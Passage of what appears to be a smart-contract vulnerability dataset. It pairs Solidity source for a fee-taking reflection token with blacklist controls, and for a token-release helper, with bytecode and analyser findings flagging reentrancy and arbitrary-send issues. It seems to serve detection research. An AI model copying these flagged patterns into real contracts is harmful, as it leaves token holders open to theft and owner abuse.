) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e7 * 10**9);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
} | 0x6080604052600436106102295760003560e01c8063715018a6116101235780639e78fb4f116100ab578063dd62ed3e1161006f578063dd62ed3e14610664578063e0f9f6a0146106aa578063ea1644d5146106ca578063f2fde38b146106ea578063fe72c3c11461070a57600080fd5b80639e78fb4f146105cf5780639ec350ed146105e45780639f13157114610604578063a9059cbb14610624578063c55284901461064457600080fd5b80637d1db4a5116100f25780637d1db4a514610534578063881dce601461054a5780638da5cb5b1461056a5780638f9a55c01461058857806395d89b411461059e57600080fd5b8063715018a6146104d457806374010ece146104e9578063790ca413146105095780637c519ffb1461051f57600080fd5b8063313ce567116101b15780635d098b38116101755780635d098b38146104495780636b9cf534146104695780636d8aa8f81461047f5780636fc3eaec1461049f57806370a08231146104b457600080fd5b8063313ce567146103ad57806333251a0b146103c957806338eea22d146103e957806349bd5a5e146104095780634bf2c7c91461042957600080fd5b806318160ddd116101f857806318160ddd1461031a57806323b872dd1461033f57806327c8f8351461035f57806328bb665a146103755780632fd689e31461039757600080fd5b806306fdde0314610235578063095ea7b3146102795780630f3a325f146102a95780631694505e146102e257600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600981526844656c74612050617960b81b60208201525b6040516102709190611e94565b60405180910390f35b34801561028557600080fd5b50610299610294366004611f0e565b610720565b6040519015158152602001610270565b3480156102b557600080fd5b506102996102c4366004611f3a565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ee57600080fd5b50601954610302906001600160a01b031681565b6040516001600160a01b039091168152602001610270565b34801561032657600080fd5b50678ac7230489e800005b604051908152602001610270565b34801561034b57600080fd5b5061029961035a366004611f57565b610737565b34801561036b57600080fd5b5061030261dead81565b34801561038157600080fd5b50610395610390366004611fae565b6107a0565b005b3480156103a357600080fd5b50610331601d5481565b3480156103b957600080fd5b5060405160098152602001610270565b3480156103d557600080fd5b506103956103e4366004611f3a565b61083f565b3480156103f557600080fd5b50610395610404366004612073565b6108ae565b34801561041557600080fd5b50601a54610302906001600160a01b031681565b34801561043557600080fd5b50610395610444366004612095565b6108ff565b34801561045557600080fd5b50610395610464366004611f3a565b61093c565b34801561047557600080fd5b50610331601e5481565b34801561048b57600080fd5b5061039561049a3660046120ae565b610996565b3480156104ab57600080fd5b506103956109de565b3480156104c057600080fd5b506103316104cf366004611f3a565b610a08565b3480156104e057600080fd5b50610395610a2a565b3480156104f557600080fd5b50610395610504366004612095565b610a9e565b34801561051557600080fd5b50610331600a5481565b34801561052b57600080fd5b50610395610ae1565b34801561054057600080fd5b50610331601b5481565b34801561055657600080fd5b50610395610565366004612095565b610b3b565b34801561057657600080fd5b506000546001600160a01b0316610302565b34801561059457600080fd5b50610331601c5481565b3480156105aa57600080fd5b5060408051808201909152600881526744656c746150617960c01b6020820152610263565b3480156105db57600080fd5b50610395610bb7565b3480156105f057600080fd5b506103956105ff366004612073565b610d6f565b34801561061057600080fd5b5061039561061f3660046120ae565b610dc0565b34801561063057600080fd5b5061029961063f366004611f0e565b610e08565b34801561065057600080fd5b5061039561065f366004612073565b610e15565b34801561067057600080fd5b5061033161067f3660046120d0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106b657600080fd5b506103956106c5366004612095565b610e66565b3480156106d657600080fd5b506103956106e5366004612095565b610eb0565b3480156106f657600080fd5b50610395610705366004611f3a565b610eee565b34801561071657600080fd5b5061033160185481565b600061072d338484610fd8565b5060015b92915050565b60006107448484846110fc565b6107968433610791856040518060600160405280602881526020016122ab602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611748565b610fd8565b5060019392505050565b6000546001600160a01b031633146107d35760405162461bcd60e51b81526004016107ca90612109565b60405180910390fd5b60005b815181101561083b576001600960008484815181106107f7576107f761213e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108338161216a565b9150506107d6565b5050565b6000546001600160a01b031633146108695760405162461bcd60e51b81526004016107ca90612109565b6001600160a01b03811660009081526009602052604090205460ff16156108ab576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108d85760405162461bcd60e51b81526004016107ca90612109565b60018211156108e657600080fd5b60018111156108f457600080fd5b600d91909155600f55565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016107ca90612109565b600181111561093757600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461095c57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109c05760405162461bcd60e51b81526004016107ca90612109565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109fe57600080fd5b476108ab81611782565b6001600160a01b038116600090815260026020526040812054610731906117bc565b6000546001600160a01b03163314610a545760405162461bcd60e51b81526004016107ca90612109565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ac85760405162461bcd60e51b81526004016107ca90612109565b66b1a2bc2ec50000811015610adc57600080fd5b601b55565b6000546001600160a01b03163314610b0b5760405162461bcd60e51b81526004016107ca90612109565b601a54600160a01b900460ff1615610b2257600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610b5b57600080fd5b610b6430610a08565b8111158015610b735750600081115b610bae5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107ca565b6108ab81611840565b6000546001600160a01b03163314610be15760405162461bcd60e51b81526004016107ca90612109565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610c46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6a9190612185565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdb9190612185565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4c9190612185565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610d995760405162461bcd60e51b81526004016107ca90612109565b6001821115610da757600080fd5b6013811115610db557600080fd5b600b91909155600c55565b6000546001600160a01b03163314610dea5760405162461bcd60e51b81526004016107ca90612109565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061072d3384846110fc565b6000546001600160a01b03163314610e3f5760405162461bcd60e51b81526004016107ca90612109565b600d821115610e4d57600080fd5b600d811115610e5b57600080fd5b600e91909155601055565b6000546001600160a01b03163314610e905760405162461bcd60e51b81526004016107ca90612109565b6004811115610e9e57600080fd5b610eaa81610e106121a2565b60185550565b6000546001600160a01b03163314610eda5760405162461bcd60e51b81526004016107ca90612109565b601c54811015610ee957600080fd5b601c55565b6000546001600160a01b03163314610f185760405162461bcd60e51b81526004016107ca90612109565b6001600160a01b038116610f7d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ca565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661103a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ca565b6001600160a01b03821661109b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ca565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661110f57600080fd5b6001600160a01b0382166111715760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ca565b6000811161117e57600080fd5b6001600160a01b03821660009081526009602052604090205460ff16156111b75760405162461bcd60e51b81526004016107ca906121c1565b6001600160a01b03831660009081526009602052604090205460ff16156111f05760405162461bcd60e51b81526004016107ca906121c1565b3360009081526009602052604090205460ff16156112205760405162461bcd60e51b81526004016107ca906121c1565b6000546001600160a01b0384811691161480159061124c57506000546001600160a01b03838116911614155b1561159057601a54600160a01b900460ff166112aa5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107ca565b601a546001600160a01b0383811691161480156112d557506019546001600160a01b03848116911614155b15611387576001600160a01b03821630148015906112fc57506001600160a01b0383163014155b801561131657506017546001600160a01b03838116911614155b801561133057506017546001600160a01b03848116911614155b1561138757601b548111156113875760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107ca565b601a546001600160a01b038381169116148015906113b357506017546001600160a01b03838116911614155b80156113c857506001600160a01b0382163014155b80156113df57506001600160a01b03821661dead14155b1561148a57601c54816113f184610a08565b6113fb91906121e8565b106114545760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107ca565b601a54600160b81b900460ff161561148a57600a54611475906107086121e8565b421161148a57601e5481111561148a57600080fd5b600061149530610a08565b601d5490915081118080156114b45750601a54600160a81b900460ff16155b80156114ce5750601a546001600160a01b03868116911614155b80156114e35750601a54600160b01b900460ff165b801561150857506001600160a01b03851660009081526006602052604090205460ff16155b801561152d57506001600160a01b03841660009081526006602052604090205460ff16155b1561158d57601354600090156115685761155d6064611557601354866119ba90919063ffffffff16565b90611a39565b905061156881611a7b565b61157a6115758285612200565b611840565b47801561158a5761158a47611782565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806115d257506001600160a01b03831660009081526006602052604090205460ff165b806116045750601a546001600160a01b038581169116148015906116045750601a546001600160a01b03848116911614155b1561161157506000611736565b601a546001600160a01b03858116911614801561163c57506019546001600160a01b03848116911614155b15611697576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a541415611697576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156116c257506019546001600160a01b03858116911614155b15611736576001600160a01b0384166000908152600460205260409020541580159061171357506018546001600160a01b0385166000908152600460205260409020544291611710916121e8565b10155b1561172957600b54601155600c54601255611736565b600f546011556010546012555b61174284848484611a88565b50505050565b6000818484111561176c5760405162461bcd60e51b81526004016107ca9190611e94565b5060006117798486612200565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561083b573d6000803e3d6000fd5b60006007548211156118235760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107ca565b600061182d611abc565b90506118398382611a39565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118885761188861213e565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156118e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119059190612185565b816001815181106119185761191861213e565b6001600160a01b03928316602091820292909201015260195461193e9130911684610fd8565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611977908590600090869030904290600401612217565b600060405180830381600087803b15801561199157600080fd5b505af11580156119a5573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b6000826119c957506000610731565b60006119d583856121a2565b9050826119e28583612288565b146118395760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ca565b600061183983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611adf565b6108ab3061dead836110fc565b80611a9557611a95611b0d565b611aa0848484611b52565b8061174257611742601454601155601554601255601654601355565b6000806000611ac9611c49565b9092509050611ad88282611a39565b9250505090565b60008183611b005760405162461bcd60e51b81526004016107ca9190611e94565b5060006117798486612288565b601154158015611b1d5750601254155b8015611b295750601354155b15611b3057565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611b6487611c89565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611b969087611ce6565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611bc59086611d28565b6001600160a01b038916600090815260026020526040902055611be781611d87565b611bf18483611dd1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c3691815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611c648282611a39565b821015611c8057505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611ca68a601154601254611df5565b9250925092506000611cb6611abc565b90506000806000611cc98e878787611e44565b919e509c509a509598509396509194505050505091939550919395565b600061183983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611748565b600080611d3583856121e8565b9050838110156118395760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ca565b6000611d91611abc565b90506000611d9f83836119ba565b30600090815260026020526040902054909150611dbc9082611d28565b30600090815260026020526040902055505050565b600754611dde9083611ce6565b600755600854611dee9082611d28565b6008555050565b6000808080611e09606461155789896119ba565b90506000611e1c60646115578a896119ba565b90506000611e3482611e2e8b86611ce6565b90611ce6565b9992985090965090945050505050565b6000808080611e5388866119ba565b90506000611e6188876119ba565b90506000611e6f88886119ba565b90506000611e8182611e2e8686611ce6565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611ec157858101830151858201604001528201611ea5565b81811115611ed3576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108ab57600080fd5b8035611f0981611ee9565b919050565b60008060408385031215611f2157600080fd5b8235611f2c81611ee9565b946020939093013593505050565b600060208284031215611f4c57600080fd5b813561183981611ee9565b600080600060608486031215611f6c57600080fd5b8335611f7781611ee9565b92506020840135611f8781611ee9565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611fc157600080fd5b823567ffffffffffffffff80821115611fd957600080fd5b818501915085601f830112611fed57600080fd5b813581811115611fff57611fff611f98565b8060051b604051601f19603f8301168101818110858211171561202457612024611f98565b60405291825284820192508381018501918883111561204257600080fd5b938501935b828510156120675761205885611efe565b84529385019392850192612047565b98975050505050505050565b6000806040838503121561208657600080fd5b50508035926020909101359150565b6000602082840312156120a757600080fd5b5035919050565b6000602082840312156120c057600080fd5b8135801515811461183957600080fd5b600080604083850312156120e357600080fd5b82356120ee81611ee9565b915060208301356120fe81611ee9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561217e5761217e612154565b5060010190565b60006020828403121561219757600080fd5b815161183981611ee9565b60008160001904831182151516156121bc576121bc612154565b500290565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600082198211156121fb576121fb612154565b500190565b60008282101561221257612212612154565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122675784516001600160a01b031683529383019391830191600101612242565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826122a557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b05759a46f895c078a8d061cdf695aa6f131b7b8dab8f92dbc2d0d63dde912464736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,137 |
0x7ec9dcde3627e5a60cb124056ba3dd0520e601e6 | pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface iContract {
function transferOwnership(address _newOwner) external;
function owner() external view returns (address);
}
contract OwnerContract is Ownable {
iContract public ownedContract;
address origOwner;
/**
* @dev bind a contract as its owner
*
* @param _contract the contract address that will be binded by this Owner Contract
*/
function setContract(address _contract) public onlyOwner {
require(_contract != address(0));
ownedContract = iContract(_contract);
origOwner = ownedContract.owner();
}
/**
* @dev change the owner of the contract from this contract address to the original one.
*
*/
function transferOwnershipBack() public onlyOwner {
ownedContract.transferOwnership(origOwner);
ownedContract = iContract(address(0));
origOwner = address(0);
}
}
interface iReleaseTokenContract {
function releaseWithStage(address _target, address _dest) external returns (bool);
function releaseAccount(address _target) external returns (bool);
function transferAndFreeze(address _target, uint256 _value, uint256 _frozenEndTime, uint256 _releasePeriod) external returns (bool);
function freeze(address _target, uint256 _value, uint256 _frozenEndTime, uint256 _releasePeriod) external returns (bool);
function releaseOldBalanceOf(address _target) external returns (bool);
function releaseByStage(address _target) external returns (bool);
}
contract ReleaseTokenToMulti is OwnerContract {
using SafeMath for uint256;
iReleaseTokenContract iReleaseContract;
/**
* @dev bind a contract as its owner
*
* @param _contract the contract address that will be binded by this Owner Contract
*/
function setContract(address _contract) onlyOwner public {
super.setContract(_contract);
iReleaseContract = iReleaseTokenContract(_contract);
}
/**
* @dev release the locked tokens owned by a number of accounts
*
* @param _targets the accounts list that hold an amount of locked tokens
*/
function releaseMultiAccounts(address[] _targets) onlyOwner public returns (bool) {
//require(_tokenAddr != address(0));
require(_targets.length != 0);
bool res = false;
uint256 i = 0;
while (i < _targets.length) {
res = iReleaseContract.releaseAccount(_targets[i]) || res;
i = i.add(1);
}
return res;
}
/**
* @dev release the locked tokens owned by an account
*
* @param _targets the account addresses list that hold amounts of locked tokens
* @param _dests the secondary addresses list that will hold the released tokens for each target account
*/
function releaseMultiWithStage(address[] _targets, address[] _dests) onlyOwner public returns (bool) {
//require(_tokenAddr != address(0));
require(_targets.length != 0);
require(_dests.length != 0);
assert(_targets.length == _dests.length);
bool res = false;
uint256 i = 0;
while (i < _targets.length) {
require(_targets[i] != address(0));
require(_dests[i] != address(0));
res = iReleaseContract.releaseWithStage(_targets[i], _dests[i]) || res; // as long as there is one true transaction, then the result will be true
i = i.add(1);
}
return res;
}
/**
* @dev freeze multiple of the accounts
*
* @param _targets the owners of some amount of tokens
* @param _values the amounts of the tokens
* @param _frozenEndTimes the list of the end time of the lock period, unit is second
* @param _releasePeriods the list of the locking period, unit is second
*/
function freezeMulti(address[] _targets, uint256[] _values, uint256[] _frozenEndTimes, uint256[] _releasePeriods) onlyOwner public returns (bool) {
require(_targets.length != 0);
require(_values.length != 0);
require(_frozenEndTimes.length != 0);
require(_releasePeriods.length != 0);
require(_targets.length == _values.length && _values.length == _frozenEndTimes.length && _frozenEndTimes.length == _releasePeriods.length);
bool res = true;
for (uint256 i = 0; i < _targets.length; i = i.add(1)) {
require(_targets[i] != address(0));
res = iReleaseContract.freeze(_targets[i], _values[i], _frozenEndTimes[i], _releasePeriods[i]) && res;
}
return res;
}
/**
* @dev transfer a list of amounts of tokens to a list of accounts, and then freeze the tokens
*
* @param _targets the account addresses that will hold a list of amounts of the tokens
* @param _values the amounts of the tokens which have been transferred
* @param _frozenEndTimes the end time list of the locked periods, unit is second
* @param _releasePeriods the list of locking periods, unit is second
*/
function transferAndFreezeMulti(address[] _targets, uint256[] _values, uint256[] _frozenEndTimes, uint256[] _releasePeriods) onlyOwner public returns (bool) {
require(_targets.length != 0);
require(_values.length != 0);
require(_frozenEndTimes.length != 0);
require(_releasePeriods.length != 0);
require(_targets.length == _values.length && _values.length == _frozenEndTimes.length && _frozenEndTimes.length == _releasePeriods.length);
bool res = true;
for (uint256 i = 0; i < _targets.length; i = i.add(1)) {
require(_targets[i] != address(0));
res = iReleaseContract.transferAndFreeze(_targets[i], _values[i], _frozenEndTimes[i], _releasePeriods[i]) && res;
}
return res;
}
/**
* @dev release the locked tokens owned by multi-accounts, which are the tokens
* that belong to these accounts before being locked.
* this need the releasing-to address has already been set.
*
* @param _targets the serial of account addresses that hold an amount of locked tokens
*/
function releaseAllOldBalanceOf(address[] _targets) onlyOwner public returns (bool) {
require(_targets.length != 0);
bool res = true;
for (uint256 i = 0; i < _targets.length; i = i.add(1)) {
require(_targets[i] != address(0));
res = iReleaseContract.releaseOldBalanceOf(_targets[i]) && res;
}
return res;
}
/**
* @dev release the locked tokens owned by an account with several stages
* this need the contract get approval from the account by call approve() in the token contract
* and also need the releasing-to address has already been set.
*
* @param _targets the account address that hold an amount of locked tokens
*/
function releaseMultiByStage(address[] _targets) onlyOwner public returns (bool) {
require(_targets.length != 0);
bool res = false;
for (uint256 i = 0; i < _targets.length; i = i.add(1)) {
require(_targets[i] != address(0));
res = iReleaseContract.releaseByStage(_targets[i]) || res;
}
return res;
}
} | 0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806325f731c8146100b45780634ded9bfe146100c95780635f3d634f1461013b57806375f890ab1461026d5780638c0124fb146102a65780638da5cb5b146103d8578063bc467a3e1461042d578063dde4f41a14610482578063f211c9ed14610534578063f2fde38b146105a6578063f4ab2b19146105df575b600080fd5b34156100bf57600080fd5b6100c7610651565b005b34156100d457600080fd5b610121600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610824565b604051808215151515815260200191505060405180910390f35b341561014657600080fd5b6102536004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506109cd565b604051808215151515815260200191505060405180910390f35b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c87565b005b34156102b157600080fd5b6103be600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610d2f565b604051808215151515815260200191505060405180910390f35b34156103e357600080fd5b6103eb610fe9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561043857600080fd5b61044061100e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561048d57600080fd5b61051a60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611034565b604051808215151515815260200191505060405180910390f35b341561053f57600080fd5b61058c6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506112ed565b604051808215151515815260200191505060405180910390f35b34156105b157600080fd5b6105dd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114e9565b005b34156105ea57600080fd5b61063760048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061163e565b604051808215151515815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106ac57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b151561078a57600080fd5b6102c65a03f1151561079b57600080fd5b5050506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561088457600080fd5b600084511415151561089557600080fd5b60009150600090505b83518110156109c357600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166385c373c385838151811015156108f357fe5b9060200190602002015160006040516020